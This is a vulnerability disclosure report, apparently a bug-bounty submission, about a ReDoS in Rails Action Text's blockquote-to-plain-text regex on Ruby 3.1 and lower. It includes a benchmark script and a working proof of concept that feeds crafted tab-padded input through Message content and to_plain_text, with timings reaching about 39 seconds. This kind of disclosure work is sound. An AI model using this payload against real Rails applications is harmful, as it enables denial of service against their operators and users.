Ruby on Rails · Report #2389431
Action Text ReDoS (Ruby 3.1 or lower)
How it was found
I have found ReDoS in Action Text. However, it does not occur with Ruby 3.2 or later.
https://github.com/rails/rails/blob/v7.1.3.2/actiontext/lib/action_text/plain_text_conversion.rb#L64
def plain_text_for_blockquote_node(node, index)
text = plain_text_for_block(node)
text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end
This is used in ActionText::Fragment#to_plain_text. https://github.com/rails/rails/blob/v7.1.3.2/actiontext/lib/action_text/fragment.rb#L47
It is a detect result by recheck ( https://makenowjust-labs.github.io/recheck/ ).
{F3078833}
Confirm ReDoS with plain_text_regexp_benchmark.rb
require 'benchmark'
def plain(length)
text = "\t" * length + "a" + "\t" * length + "a"
text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end
Benchmark.bm do |x|
x.report { plain(10) }
x.report { plain(100) }
x.report { plain(1000) }
x.report { plain(10000) }
x.report { plain(100000) }
end
# ruby 3.1.4
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000007)
0.000055 0.000001 0.000056 ( 0.000055)
0.004528 0.000003 0.004531 ( 0.004534)
0.385151 0.000659 0.385810 ( 0.386042)
39.185124 0.129945 39.315069 ( 39.408578)
# ruby 3.2.3
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000007)
0.000010 0.000001 0.000011 ( 0.000012)
0.000060 0.000022 0.000082 ( 0.000098)
0.000549 0.000064 0.000613 ( 0.000613)
0.005388 0.001199 0.006587 ( 0.006598)
# ruby 3.3.0
❯ ruby plain_text_regexp_benchmark.rb
user system total real
0.000011 0.000001 0.000012 ( 0.000008)
0.000073 0.000001 0.000074 ( 0.000073)
0.000110 0.000011 0.000121 ( 0.000122)
0.001089 0.000196 0.001285 ( 0.001285)
0.010387 0.001831 0.012218 ( 0.012250)
PoC
❯ rails new -C -G -T text
# => Rails 7.1.3.2
❯ rails action_text:install
❯ bundle install
❯ bundle exec bin/rails generate model Message content:rich_text
❯ bundle exec rails db:migrate
create plain_text_benchmark.rb
require 'benchmark'
def plain(length)
text = "\t" * length + "a" + "\t" * length + "a"
message = Message.create!(content: "<blockquote>#{text}</blockquote>")
message.content.to_plain_text
end
Benchmark.bm do |x|
x.report { plain(10) }
x.report { plain(100) }
x.report { plain(1000) }
x.report { plain(10000) }
x.report { plain(100000) }
end
# ruby 3.1.4
❯ bundle exec rails runner plain_text_benchmark.rb
user system total real
0.031610 0.010543 0.042153 ( 0.046888)
0.003494 0.000228 0.003722 ( 0.003872)
0.007226 0.000156 0.007382 ( 0.007383)
0.396392 0.001231 0.397623 ( 0.398462)
39.107745 0.110123 39.217868 ( 39.334358)
Impact
When using ActionText under Ruby 3.1, it is ReDoS if crafted text is sent and to_plain_text is called.
The same regular expressions are used in Rails 6.1 and 7.0.